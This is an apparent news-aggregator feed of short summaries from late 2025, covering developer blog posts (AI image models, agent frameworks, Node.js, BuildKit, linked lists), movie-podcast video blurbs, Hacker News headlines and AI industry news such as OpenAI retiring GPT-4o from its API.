    There is a famous business saying that has echoed through the tech world for years: "Standing in the wind, even a pig can fly." It implies that if the trend (the "wind") is strong enough, anyone can succeed, regardless of their actual skill level. Now, we are in November 2025. The AI "wind" is no longer a breeze—it is a hurricane. We have LLMs that refactor legacy code better than seniors, image models that understand complex physics, and video generators that dream in 4K. But look around. Are the "pigs" flying? Why? Because in a hurricane, if you don't understand aerodynamics, you don't fly. You just get thrown against a wall. Here is my controversial take for 2025: AI doesn't make it easier to be mediocre. It raises the bar for being competent. This brings me to how I rebuilt my workflow…  ( 8 min )
    Agentic AI Frameworks Comparison 2025: mcp-agent, LangGraph, AG2, PydanticAI, CrewAI
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    From "Gacha" to "Productivity": A Deep Dive into Nano Banana Pro
    In the AI image generation landscape of late 2025, Google DeepMind's Nano Banana Pro (also known as GemPix 2) has landed as a significant disruptor. Moving away from the "Gacha-style" randomness of early diffusion models, Nano Banana Pro marks the official entry of image generation into the era of "Logical Reasoning". Based on various technical reviews and data, this article analyzes the model's market positioning and technical value across three dimensions: architecture, consistency breakthroughs, and commercial application. Traditional text-to-image models often relied on probability fitting, leading to frequent physical hallucinations. Nano Banana Pro, however, is defined as a "Reasoning Model." Before generating pixels, it performs internal logical deductions to understand the physical…  ( 7 min )
    Trash Theory: Exploring Tricky & Maxinquaye: The 90s Bowie? | New British Canon
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    SIMA 2: Gemini-Powered Agent That Nearly Doubles Task Success
    Everyone's talking about SIMA 2, DeepMind's Gemini-powered game agent, but the real opportunity is how it will change testing, training, and UX. Game AI is no longer a party trick. It is a universal agent that follows goals across worlds. That shifts how you build, test, and launch products. SIMA 2 understands goals, explains plans, and learns by exploring thousands of complex 3D worlds. It follows voice or even emoji commands, then tells you what it will do next. The truth is simple. Goal-following agents will become the new UI for complex work. ⚡ SIMA 2 nearly doubles task success versus its earlier version. That improvement actually unlocks practical pilots beyond games. Example. Ask it to gather resources in a new scene, and it explains the plan, executes steps, and adapts when the map changes. Now imagine the same pattern for QA, training sims, or ops runbooks. ↓ Pilot framework you can run in 14 days. • Pick one high-friction workflow in a safe sandbox. • Define a clear goal, guardrails, and a success metric. • Feed 20 to 50 examples and set a prompt plus feedback loop. ↳ Log plans, failures, and fixes to improve it daily. • Measure cycle time, error rate, and human handoffs. → If it beats baseline by 20 percent or more, expand to a second workflow. You will cut rework, learn faster, and ship with more confidence. Early movers will quietly build an advantage that compounds. What would you test first with a goal-following agent like this?  ( 6 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Weird Science gets the Rewatchables treatment as Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult classic starring Anthony Michael Hall, Kelly LeBrock, and Ilan Mitchell-Smith. Expect all the sex, drugs, rock ’n’ roll, chips, dips, chains and whips that made this flick legendary. They dissect favorite scenes, revel in ’80s nostalgia, and dish out hilarious commentary on the film’s quirks, making this episode a must-listen for fans of cheesy special effects and Hughes’s brand of teen comedy. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road—just in time for Wicked’s theatrical return—to tear down the 1978 musical with polemic precision, nitpicking every plot hole, off-key moment, and questionable dance number in trademark snarky style. Want more sinful content? Cruise over to cinemasins.com or their linktr.ee, fill out the “sinful” poll, and back the crew on Patreon. You can also stalk Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel across Twitter, Discord, Reddit, Instagram, and TikTok for extra cinema shade. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just dropped a new “Everything Wrong With KPop Demon Hunters in 16 Minutes or Less” video, roasting every supernatural slip-up in the film. They’re your one-stop sin shop—hit up their site or linktr.ee for the freshest updates, fill out their sinful poll, and if you wanna keep the jokes coming, back them on Patreon. This episode was cooked up by Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you can hang with the ever-loving sin community on Discord, Reddit, Instagram and TikTok (plus grab Jeremy’s book for more cinema carnage). Watch on YouTube  ( 6 min )
    SLS Copilot in Practice: Building a Flexible Data Infrastructure for LLM Applications with SLS
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    Angular 21 Released: What’s New & Developer Guide
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    Improving AI Email Classification Accuracy Through Prompt Engineering
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    5 Programming Secrets Learned The Hard Way (That AI Still Can't Teach You)
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    The AI Entropy Crisis: Model Collapse Will Destroy Future LLMs
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    7 Dumb things I'd do if I started a software company
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables with Bill Simmons and Kyle Brandt Bill Simmons and Kyle Brandt dive deep into John Hughes’s 1985 cult classic Weird Science—complete with sex, drugs, rock ’n’ roll, chips, dips, chains and whips—to unpack what makes Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith’s geek-meets-fantasy romp still worth a spin. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode is all about celebrating the highs, lows and weirdest moments of one of Hughes’s most off-beat teen comedies. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    Sean Fennessey and Amanda Dobbins dive into Quentin Tarantino’s “Inglourious Basterds,” ranked No. 4 on their 25 Best Movies of the Century list. They argue it’s the ultimate Tarantino pick over “Once Upon a Time in Hollywood,” gush over Christoph Waltz’s scene-stealing turn, and unpack the film’s audacious, revisionist take on WWII. From its signature mix of dark humor and nail-biting tension to its bold stylistic flourishes, they explore how “Inglourious Basterds” redefined the war movie and cemented its status as one of the most electrifying cinematic experiences of the 21st century. Watch on YouTube  ( 6 min )
    Ringer Movies: ‘Wicked: For Good’ Is No Good
    Wicked: For Good gets a major side-eye from Sean, Amanda and Juliet Litman after they kick off the podcast by breaking down trailers for Charli XCX’s The Moment and The Hunger Games: Sunrise on the Reaping. The group finds John M. Chu’s big-budget musical a real head-scratcher—odd plot moves, flat characters—and they speculate on its box office haul, how this press tour stacks up against last year’s, and whether it’ll snag any Oscar buzz. Next up, they chat about Clint Bentley’s Train Dreams, praising its honest grief story, gorgeous digital cinematography, and stellar supporting cast. Then Bentley hops on to explain why he once thought the novella was unfilmable, how he meticulously crafted his logging sequences, and what’s on his mind about today’s indie-film landscape. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less Cinema Sins takes a whirlwind tour down the yellow brick road, poking fun at The Wiz’s plot holes, set quirks, and character hiccups—all in their signature rapid-fire style now that Wicked is back in theaters. Expect snarky takes on the Scarecrow’s one‐note shtick, unexpected costume choices, and any logic gaps they can squeeze into 15 minutes or less. Along the way, they drop links to their website, Discord, Reddit, multiple YouTube channels, and a Patreon for anyone who wants to keep feeding their growing team of sin counters. Don’t forget to fill out their sinful poll and see which writer gets dubbed the ultimate Wiz watchdog! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters is a 16-minute CinemaSins roast that gleefully rips apart the movie’s plot holes, cheesy dialogue and demon-slaying clichés. Along the way they plug their official site, spin-off YouTube channels, Discord, Reddit, and even run a sinful poll—plus invite you to back them on Patreon. Shout-outs roll to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and you’ll find links to Jeremy’s book, Instagram, TikTok and more for your next fix of sinning shenanigans. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Biggest Disney Bombs: The Sorcerer’s Apprentice Disney’s on a bit of a roller-coaster these days—Marvel and Star Wars aren’t exactly smashing box-office records, and newbies like Wish and Elio have barely made a ripple. To remind us it’s not all doom and gloom (or maybe it is?), The Weekly Planet is rolling out a mini-series on four colossal live-action flops. First up is 2010’s The Sorcerer’s Apprentice, starring Nicolas Cage, some half-baked magic and that memorable giant bird. Hosts James and Maso kick things off with their usual banter and deep dives—plus they’ve packed bonus podcasts, video commentaries and more over at bigsandwich.co. Watch on YouTube  ( 6 min )
    My Open-Source Contribution: Adding a feature to typescript-language-server
    I recently finished an open-source contribution that I’m actually really proud of. This time, I worked on the typescript-language-server project. I wanted to challenge myself with something more complex than what I normally do, and I came across Issue #956, which asked to support a new tsserver feature called --canUseWatchEvents. The idea behind the feature is that, in huge TypeScript projects, tsserver ends up watching thousands of files on its own, which can slow things down a lot. Newer versions of TypeScript offer a way for the editor to handle file watching instead, and only tell tsserver when something actually changes. VS Code already does this, but other editors that rely on the language server didn’t have this yet. I thought this would be a medium-level contribution, but it turned…  ( 7 min )
    How to add polylines to a map, change polyline color, and set polyline texture
    Read the original article:How to add polylines to a map, change polyline color, and set polyline texture Problem description How to add a polyline on a map, change its color, and set its texture? Background knowledge 1- Use the addPolyline interface to add a polyline . 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture Solution 1- Use the addPolyline interface to add a polyline . The line is black by default. 2- Use the setColor interface to set the color value of the polyline. 3- Use the customTexture property of MapPolylineOptions to set the polyline texture. This property supports two formats: ResourceStr and image.PixelMap. It is recommended to use an image without a background co…  ( 7 min )
    Why IDPs Are the Future of DevOps: A Platform Engineer’s Perspective
    ✅ 1.What is an IDP (Internal Developer Platform)? IDP = Internal Developer Platform In simple words: 🧩 2.Why we need IDP? (Real-world pain points) Companies create an IDP because: Before IDP (Pain) Developers continually ask DevOps: “Create my cluster” “Give me a CI pipeline” “Deploy my image” “Fix my YAML” DevOps becomes a helpdesk, overloaded with tickets. Delays cause: Slow releases Frustration Human errors Lack of standards After IDP (Solution) Developers get self-service, no dependency. DevOps burden becomes zero. Everything is standardized: same YAML templates same security same deployment flows Company productivity increases by 3×–10×. 🧭 3.Where to use IDP? IDP is used in every area of software engineering: Developers use IDP to: Create new microservice templates Run CI/CD pipelin…  ( 11 min )
    Transform Your LLM Apps: Monetize Conversations with Monetzly
    What if Your AI App Could Generate Revenue in Two Ways Simultaneously? The rapid growth of AI applications is exhilarating, but one fundamental challenge persists: monetization. Many developers find themselves on a tightrope, trying to balance user experience with the need for revenue. Enter Monetzly—the first platform that empowers developers to monetize their applications and earn from hosting relevant ads. Imagine a scenario where your AI app doesn't just provide value to users, but also generates income through dual revenue streams. With Monetzly, this is not just a dream; it’s a reality. Monetzly stands out in the AI landscape as the first dual-earning platform. Here’s how it works: Monetize Your App: No need for subscriptions or paywalls. You can keep your app accessible and user-…  ( 7 min )
    Make your Node.js APIs bulletproof using TypeScript Decorators 🛡️
    In the world of microservices and distributed systems, network failures are not a matter of "if", but "when". A single failing service can hang your entire application, consuming resources until it crashes. To prevent this, the Circuit Breaker pattern is essential. But let's be honest: implementing it often leads to messy code, with try/catch blocks wrapping every single API call. Today, I want to show you how to solve this elegantly using surge-kit, a lightweight, zero-dependency library I built for Node.js. With the release of v0.5.0, we can now use TypeScript Decorators to handle resilience declaratively. Usually, protecting a method looks like this: // The "Old Way" async getUser(id: string) { try { // Manual wrapping... repetitive and verbose return await circuitBreaker.fire…  ( 7 min )
    No other Icons Library Needed 🥶
    Iconify is here. It is OpenSource All in one Modern Ui Icons library. Just Paste this script in html head tag 🔗 Iconify by searching for your desired icon. Then, paste that tag in your body , whereever you wanna use it and Boom 🤯. Use CSS Font-Size to cusomtize the size of the icon and you can also do that by giving width & height to iconify-icon tag. Have you any suggestions or feedback? 🫠 Like & Follow us - If you want these kind of more things...  ( 6 min )
    How to Connect HubSpot in SSIS
    Introduction Learn how to connect HubSpot to SSIS using the ZappySys HubSpot connector to manage and integrate HubSpot data effortlessly. SSIS PowerPack: Download from the Customer Download Area or try the trial version. HubSpot Account: Make sure your HubSpot account is ready. Log in to your HubSpot account and create a Private App. Add a Data Flow Task in SSIS, and configure the HubSpot API Source. Enter your AccessToken in the configuration and test the connection. Preview the data from the HubSpot endpoint and save the configuration. Connecting HubSpot to SSIS via the ZappySys connector simplifies HubSpot data integration into your workflows. 👉 Read the full tutorial here for detailed steps and examples  ( 6 min )
    📸 How I Used Gemini 3 to Build a Retro Camera Tool
    I recently launched Retro Camera—a fun, browser-based tool that lets you capture photos with beautiful, classic vintage styling (date stamps, grain, captions) right from your webcam. But the real magic isn't in the simple HTML/CSS/Canvas—it's in how I used the Gemini 3 API to define and refine the filters' core aesthetic. The Challenge: Defining "Vintage" with Code That's where Gemini 3 stepped in. 🧠 Gemini 3: The Algorithmic Cinematographer I leveraged Gemini 3's advanced reasoning and multimodal understanding to solve this aesthetic problem in two powerful ways: Zero-Shot Aesthetic Definition Instead of spending hours tweaking color matrices, I used Gemini 3's powerful instruction-following to define the filters using natural language. Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: [Integrating Gemini 3 wasn't about generating the final filtered image (which the browser can do faster via Canvas/WebGL), but about generating the code and parameters that define the look itself. It turned the tedious task of aesthetic design into a natural language conversation. If you're building a tool that relies on complex, subjective parameter generation, an LLM like Gemini 3 is an essential part of the modern developer's toolkit. 🔗 Try the Retro Camera and see the filters in action: https://vatsalshah.in/tools/retro-camera  ( 7 min )
    Merging Multiple File Types into One PDF in C#
    In today's data-driven world, managing diverse document types efficiently is a common challenge for developers. Whether it's compiling reports, archiving project files, or streamlining document workflows, the need to consolidate various formats like Word documents, Excel spreadsheets, images, and HTML pages into a single, unified PDF file is ever-present. This process not only simplifies sharing and viewing but also ensures document integrity and consistency. However, manually converting and then merging these files can be tedious and prone to errors. This article addresses this technical pain point by providing a robust and practical solution. We will explore how to programmatically merge multiple file types into one PDF in C# using a powerful and user-friendly library: Spire.PDF for .NET…  ( 9 min )
    How to Update Custom Property Values in HubSpot with REST API Call
    Introduction If you need to update custom property values for HubSpot Contacts, Deals, or Accounts, here's a step-by-step guide to help you. Navigate to your Contact Properties in HubSpot. Click on Manage Properties and select Create Property. Choose the appropriate field type and options (e.g., dropdown, string, number). You can update custom fields using either HubSpot's API or an ODBC Driver. Example for updating a custom field: UPDATE Contacts Common Issue: Dropdown Property Error If you try to set a dropdown value not in the allowed list, you'll get a validation error. Always ensure the value is part of the predefined options. 👉 Read the full tutorial with examples and screenshots  ( 6 min )
    LLM Context Window Stress Testing: Reliability Under Load
    TL;DR: We stress-tested 6 LLMs under realistic context load. Standard LLM benchmarks fail to measure reliability under context stress - the ability to maintain accuracy and avoid hallucination as context windows fill. We developed a stress testing methodology that reveals catastrophic failures in popular models that score well on conventional benchmarks. Key Finding: LiquidAI's LFM2-8B, despite strong benchmark performance, achieved only 0.3% accuracy under context stress with catastrophic degradation patterns. In contrast, Qwen3-30B maintained 96.9% accuracy with graceful degradation across 108,000 tokens. Three stress test scenarios designed to measure real-world failure modes: 1. Stealth Needle Storm 40 secret codes hidden naturally in 128K tokens of mixed content (code, prose, technic…  ( 8 min )
    Stock Price Prediction With Machine Learning Model
    Colab-ready: improved stable pipeline with Optuna + LGB + XGB + stacking 1) ก่อนรัน ให้อัปโหลดไฟล์ผ่าน Colab UI: /content/train.csv, /content/test.csv, /content/sample_submission.csv 2) Copy-paste ทั้งหมดนี้ใน cell เดียวแล้วรัน ------------------------- ติดตั้งไลบรารี (ครั้งแรก) !pip install --quiet lightgbm xgboost scikit-learn pandas numpy matplotlib optuna import warnings import os SEED = 42 TRAIN_PATH = "/content/train (1).csv" for p in [TRAIN_PATH, TEST_PATH, SAMPLE_SUB_PATH]: train = pd.read_csv(TRAIN_PATH) print("train shape:", train.shape) train = train.sort_values('id').reset_index(drop=True) train['price'] = train['price'].astype(float) if 'price' not in test.columns: all_df = pd.concat([train[['id','price']], test[['id','price']]], i…  ( 10 min )
    The fastest way to start a Mithril + Ionic + Vite project in 2025
    Building mobile-ready web applications often involves a heavy stack. You have React, Angular, or Vue combined with a UI framework, and suddenly your bundle size is massive before you've even written a line of code. Enter Mithril.js. It's a modern client-side JavaScript framework for building Single Page Applications. It's small (< 10kb gzip), fast, and provides routing and XHR utilities out of the box. Combine that with Ionic Framework for native-like UI components and Vite for instant dev server start times, and you have a powerhouse stack for rapid development. But setting this up manually? Configuring Vite to handle Mithril's JSX (or Hyperscript), setting up Ionic's loader, configuring the router... it's a pain. That's why I built create-vitriol. create-vitriol is a scaffolding tool tha…  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Weird Science Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 teen sci-fi comedy Weird Science—starring Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith—and unpack all the sex, drugs, rock ’n’ roll (and yes, chains, whips, chips and dips) that made it a cult classic. They’re joined by producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, plus there’s a cheeky State Farm mention about bundling and saving with the Personal Price Plan®. Don’t forget to subscribe to The Ringer’s channels for more movie deep dives! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is trekking down the yellow brick road to roast The Wiz now that Wicked is back in theaters, serving up their signature snark and “sins” in a quickfire 15-minute breakdown. Think of it as a hilarious, consequence-free trip to Oz—no flying monkeys required. They’ve also dropped a stack of links to keep you hooked: their main site, YouTube channels, social media handles (Twitter, Instagram, TikTok), a sinful poll, Patreon for superfans, plus writer bios if you want to see who’s behind the sass. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes on the new KPop Demon Hunters flick with their signature blend of playful nitpicks and rapid-fire “sins,” poking fun at the fight choreography, plot leaps, and surprise cameos—all wrapped up in under 16 minutes of snarky commentary. Hungry for more? Hit up their main site or dive into spin-off YouTube channels (TVSins, CommercialSins), join the CinemaSins Discord/Reddit, check out Jeremy’s book, fill out a quick poll, or toss a coin to the Patreon squad for extra goodies. Watch on YouTube  ( 6 min )
    How BuildKit Parallelizes Your Builds
    When you run docker build, you might assume your Dockerfile instructions execute one after another, like a traditional script. But behind the scenes, BuildKit is doing something far more sophisticated. At the heart of BuildKit lies a DAG (Directed Acyclic Graph) solver that transforms your Dockerfile into an optimized execution plan, identifying all parallelizable operations while maintaining dependency order. We've previously covered how BuildKit works here, but today we're discussing how BuildKit parallelizes your builds to make them faster and more efficient. BuildKit parses build instructions into something called LLB (Low-Level Build) format, creating a dependency graph of all the operations needed to produce your final image: The DAG solver examines each instruction in your build a…  ( 9 min )
    Give Your SQLite Queries Their Own Workers: A Practical Guide for Node.js Developers
    SQLite is known for being lightweight, reliable, and surprisingly fast. In the Node.js ecosystem, one of the most popular libraries for working with it is better-sqlite3. The performance is excellent, but there is one important detail many developers overlook: the library is synchronous. When a heavy query is executed, the Node.js event loop stops until the database finishes its work. For small side projects, this never becomes noticeable. But once you introduce API routes, server-side rendering, analytics, background processing, or any data-heavy task, the synchronous nature starts to show its limits. In this guide, I’ll walk you through a practical way to eliminate those bottlenecks by moving your SQLite queries into worker threads. This approach keeps the simplicity of better-sqlite3 wh…  ( 8 min )
    I put an Air-Gapped Neural Network in my pocket (Python on Android)
    The Pocket Mainframe I shared my desktop AI defense system. Now I'm sharing the mobile unit. This is NEXUS v9, a sovereign network intelligence tool designed to run natively on Android (via Pydroid3 or Termux). Most "AI apps" on your phone are just wrappers sending your data to a cloud API. This is different. This is a complete, self-contained neural network running locally on my device. Running a complex defense system on a phone presents unique challenges: No Root Access: I can't easily access system-level process data. Dependency Hell: Installing numpy or scipy on Android can be tricky. Battery/Resources: Spawning 50 threads kills a battery instantly. To make this work, I had to rewrite the core engine: AsyncIO Network Scanner: Replaced threading with asyncio. It scans hundreds of ports/hosts concurrently without locking up the UI or draining the battery. Pure Python Fallbacks: I wrote a custom NeuralNetwork class that checks for numpy. If it's missing, it seamlessly degrades to a pure Python implementation of the dense layers and activation functions. It trains on-device. Synthetic Baselines: Since I can't always read raw CPU/RAM on non-rooted devices, the system builds its own baseline of "normal" behavior and detects anomalies relative to its own process state. Because "Personal Security" shouldn't require a server rack. I can walk into a network environment, pull out my phone, and have the same level of anomaly detection and analysis as I do at my desk—completely offline. Repo updated with the Android Branch: https://github.com/SovArcNeo  ( 6 min )
    Beyond Behavior Trees: Unleashing Smarter Robots with Executable Knowledge by Arvind Sundararajan
    Beyond Behavior Trees: Unleashing Smarter Robots with Executable Knowledge Tired of brittle robot behaviors that fall apart when the environment changes? Are you struggling to scale your autonomous systems beyond pre-programmed routines? There's a better way to build truly intelligent robots: move beyond imperative control flows and embrace knowledge-driven autonomy. Instead of explicitly coding every action sequence with behavior trees, imagine describing the robot's understanding of the world and letting it figure out the optimal course of action. That's the power of executable ontologies – dynamic knowledge graphs that empower robots to reason, adapt, and learn on the fly. Think of it like this: behavior trees are like a pre-written script, while an executable ontology is like giving …  ( 7 min )
    TestRail Manager: Automatiza tu Gestión de Pruebas con Python
    🚀 TestRail Manager: Automatiza tu Gestión de Pruebas con Python ¿Cansado de gestionar manualmente tus casos de prueba en TestRail? ¿Quieres automatizar el reporte de resultados desde tus tests? TestRail Manager es la solución que necesitas. TestRail Manager es una librería Python completa que te permite interactuar con la API de TestRail de forma simple y eficiente. Con ella puedes: ✅ Crear y gestionar proyectos, suites y casos de prueba ✅ Ejecutar test runs automáticamente ✅ Reportar resultados desde tus frameworks de testing (pytest, unittest, etc.) ✅ Generar métricas y reportes detallados ✅ Integrar TestRail en tu pipeline CI/CD Como QA Engineer, me encontraba constantemente: 📝 Creando casos de prueba manualmente en TestRail 🔄 Actualizando resultados uno por uno después de ca…  ( 10 min )
    Boost Developer Revenue with Monetzly's API Monetization Strategies
    Traditional Ads Don’t Work in AI Conversations. Here’s What Does. As the AI application landscape explodes, many developers face a common challenge: monetizing their innovations without disrupting the user experience. Enter Monetzly—the first dual-earning platform designed for AI conversations, where developers can monetize their apps while hosting relevant ads. Most advertising models rely on interruptive placements, which can clash with the seamless interactions users expect from AI applications. Imagine you're using a chatbot for customer service, and suddenly, an irrelevant banner ad pops up. It’s jarring and detracts from the experience. Monetzly reimagines this dynamic by introducing conversation-native advertising—ads that are integrated into the conversation itself, providing v…  ( 7 min )
    Building an Air-Gapped AI Defense System in Python (No Cloud APIs)
    The Sovereign Architecture Most modern AI development relies heavily on cloud APIs and external dependencies. I decided to go the other direction: Total Sovereignty. I am building NEXUS, an offline-first, air-gapped AI defense system designed to run on local hardware (Linux and Android/Termux). The goal is to create recursive intelligence that functions without an internet connection, ensuring privacy and zero data leakage. I avoid "black box" libraries where possible. My stack focuses on: Core: Python 3.x (Dependency-free where possible) GUI: Custom Tkinter interfaces (Cyberpunk/Matrix aesthetic for high-contrast visibility) Logic: Recursive "Breeding Cycles" rather than standard versioning. I spawn multiple instances, stress-test them, and the surviving code becomes the baseline for the next generation. Deployment: Runs natively on Linux or via Termux on Android. I recently refactored my modular agents into standalone applications. Pictured in the cover image are: ARCHITECT (Green): A Neural Enhanced Security Platform for Command & Control. SENTINEL (Blue): A Quantum-resistant defensive monitor for system metrics and threat detection. In a world of connected APIs, building "air-gapped" software forces you to understand the logic from the ground up. You can't call an API to solve the problem; you have to engineer the solution yourself. I am currently open-sourcing these tools to share this "Sovereign" philosophy with the community. Check out the repositories here: https://github.com/SovArcNeo Visualized above: Two of my modular agents ('Architect' and 'Sentinel') that I recently refactored into standalone applications.  ( 6 min )
    Day 1271 : Full Circle
    liner notes: Professional : Pretty good day. Had the normal meetings. Responded to some community questions. I've been thinking through how I want to refactor this project from one platform to using GitHub Codespaces since the code would be in a GitHub repo anyway. I've been trying to see how I can unwind what we've already done, but it looks like it would be a lot more work than starting from scratch again. To validate my hunch, I asked went to Google Gemini. Gemini 3 just came out and I'm on the Pro plan so I figured I would try it out with Deep Research. I explained what I want to achieve trying to be very specific. I uploaded a zip file that my part of the process creates so that it has an idea of what the input would look like. I even provided a link to a similar project I created usi…  ( 7 min )
    DSA Fundamentals: Linked Lists - Mastering Dynamic Data Structures
    Linked Lists are fundamental data structures that overcome key limitations of arrays, particularly when it comes to insertion and deletion operations. This comprehensive guide explores linked list theory and demonstrates essential patterns through practical LeetCode solutions. A Linked List is a linear data structure where elements (nodes) are stored in non-contiguous memory locations. Each node contains: Value: The data being stored Pointer: Reference to the next node in the sequence This non-contiguous memory allocation is the fundamental difference from arrays, enabling efficient insertions and deletions. Operation Array Linked List Random Access O(1) O(n) Search O(n) O(n) Insertion at Beginning O(n) O(1) Insertion at End O(1)* O(n) or O(1)** Deletion at Beginning O(n) O(…  ( 11 min )
    Website shaped like a brochure
    🚀 Excited to share my latest project: a Digital Brochure Template! https://payhip.com/b/DeCyj  ( 6 min )
    🖥️ Experiencia con Pop!_OS
    Expectativas iniciales • Objetivo: Contar con un sistema operativo que sirviera tanto para programar como para jugar. Instalación • Obstáculo principal: El instalador no ofrece opciones de multiboot. Experiencia de uso • Entorno gráfico (GNOME): Evaluación crítica • Aspectos negativos: Próximos pasos • Decisión: Probar otra distribución Linux que ofrezca mejor balance entre rendimiento, personalización y soporte para juegos.  ( 6 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ main theme “Starlit Journey” gets a playful deep dive, showing how its bubbly intro, bright verse, catchy chorus, dynamic bridge, and triumphant final choruses all work together to spark pure, joy-packed energy. With handy timestamps (0:00 Starlit Journey, 0:59 Intro, 2:47 Verse, 5:56 Chorus, 9:51 Bridge, 10:47 Final Choruses, 14:00 “I love music”) you can jump right to each section. Plus, there’s links to the creator’s Patreon, merch store, Discord, and Twitter for anyone hungry for more game-music goodness. Watch on YouTube  ( 6 min )
    JS Thread, Native UI Thread, The Bridge and the Shadow Layer in React Native - analogy
    Analogy: The Business Manager, The Translator, and The Scribe This analogy maps the classic React Native architecture onto a fast-paced corporate strategy session that needs external visualization and user feedback. Role: The Business Manager (your React components and logic). Action: They are responsible for the strategy and logic. They process all the raw data, decide what information is most important, and formulate the final plan of what the audience needs to see and interact with. Limitation: They only speak JavaScript (a proprietary foreign language) and cannot talk directly to the audience or draw on the whiteboard themselves. Role: The Single Foreign Language Translator. Action: This person is the only link. They take the Business Manager's complex strategic plans (JS code) and ser…  ( 9 min )
  • Open

    Explaining, at some length, Techmeme's 20 years of consistency
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    Using Antigravity for Statistical Physics in JavaScript
    Comments  ( 2 min )
    How sea turtles learn locations using Earth’s magnetic field: research
    Comments  ( 8 min )
    I learned Vulkan and wrote a small game engine with it
    Comments  ( 31 min )
    Apple's Problem with Bodies
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    3D printing with unconventional vase mode
    Comments  ( 8 min )
    California DMV approves map increase in Waymo driverless operations
    Comments  ( 7 min )
    A time-travelling door bug in Half Life 2
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    How the Atomic Tests Looked Like from Los Angeles
    Comments  ( 25 min )
    Personal blogs are back, should niche blogs be next?
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    Using an Array of Needles to Create Solid Knitted Shapes
    Comments
    Is Matrix Multiplication Ugly?
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    LAPD Helicopter Tracker with Real-Time Operating Costs
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    The Untold History of Arduino
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    Arduino Terms of Service and Privacy Policy update: setting the record straight
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    The senior population is booming. Caregiving is struggling to keep up
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    FEX: A fast usermode x86 and x86-64 emulator for ARM64 Linux
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    We Remain Alive Also in a Dead Internet
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    Pixar: The Early Days A never-before-seen 1996 interview
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    We remember the internet bubble. This mania looks and feels the same
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    We Induced Smells With Ultrasound
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    Tuxedo Computers Cancels Snapdragon X1 Linux Laptop
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    Cloudflare Dashboard and Cloudflare API service issues
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    Brazil charges 31 people in major carbon credit fraud investigation
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    How/why to sweep async tasks under a Postgres table
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    Building the largest known Kubernetes cluster, with 130k nodes
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    McDonald's is losing its low-income customers: a symptom of the wealth divide
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    Helping Valve to Power Up Steam Devices
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    FizzBuzz with Cosines
    Comments  ( 9 min )
    How Cops Are Using Flock's ALPR Network to Surveil Protesters and Activists
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    Pivot Robotics (YC W24) Is Hiring for an Industrial Automation Hardware Engineer
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    Downsampling: Largest-Triangle-Three-Buckets and the Fourier Transform
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  • Open

    OpenAI is ending API access to fan-favorite GPT-4o model in February 2026
    OpenAI has sent out emails notifying API customers that its chatgpt-4o-latest model will be retired from the developer platform in mid-February 2026,. Access to the model is scheduled to end on February 16, 2026, creating a roughly three-month transition period for remaining applications still built on GPT-4o. Sources familiar with the matter emphasized that this timeline applies only to the API. OpenAI has not announced any schedule for removing GPT-4o from ChatGPT, where it remains an option for individual consumers and users across paid subscription tiers. Internally, the model is considered a legacy system with relatively low API usage compared to the newer GPT-5.1 series, but the company expects to provide developers with extended warning before any model is removed. The planned re…
    Salesforce Agentforce Observability lets you watch your AI agents think in near-real time
    Salesforce launched a suite of monitoring tools on Thursday designed to solve what has become one of the thorniest problems in corporate artificial intelligence: Once companies deploy AI agents to handle real customer interactions, they often have no idea how those agents are making decisions. The new capabilities, built into Salesforce's Agentforce 360 Platform, give organizations granular visibility into every action their AI agents take, every reasoning step they follow, and every guardrail they trigger. The move comes as businesses grapple with a fundamental tension in AI adoption — the technology promises massive efficiency gains, but executives remain wary of autonomous systems they can't fully understand or control. "You can't scale what you can't see," said Adam Evans, executive vi…
    Google’s ‘Nested Learning’ paradigm could solve AI's memory and continual learning problem
